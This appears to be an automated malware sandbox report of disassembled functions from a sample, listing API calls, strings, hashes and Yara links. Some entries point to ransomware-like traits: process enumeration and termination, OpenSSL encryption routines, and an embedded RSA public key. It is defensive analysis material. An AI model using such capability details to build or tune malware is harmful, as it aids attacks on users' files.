Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: d4b854b1a042bc7f4eca9b6978f64a5362c10ac0be79c5668a7c075dc83f2c74
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: d4b854b1a042bc7f4eca9b6978f64a5362c10ac0be79c5668a7c075dc83f2c74
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: e4307116e77882475ea9451cd3d0776cdb58ed3d760deead9dce55a7c5957ad6
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: e4307116e77882475ea9451cd3d0776cdb58ed3d760deead9dce55a7c5957ad6
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2
-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24, xrefs: 00419EC4

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24$p2Q
API String ID: 2102423945-1170899715
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007A0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

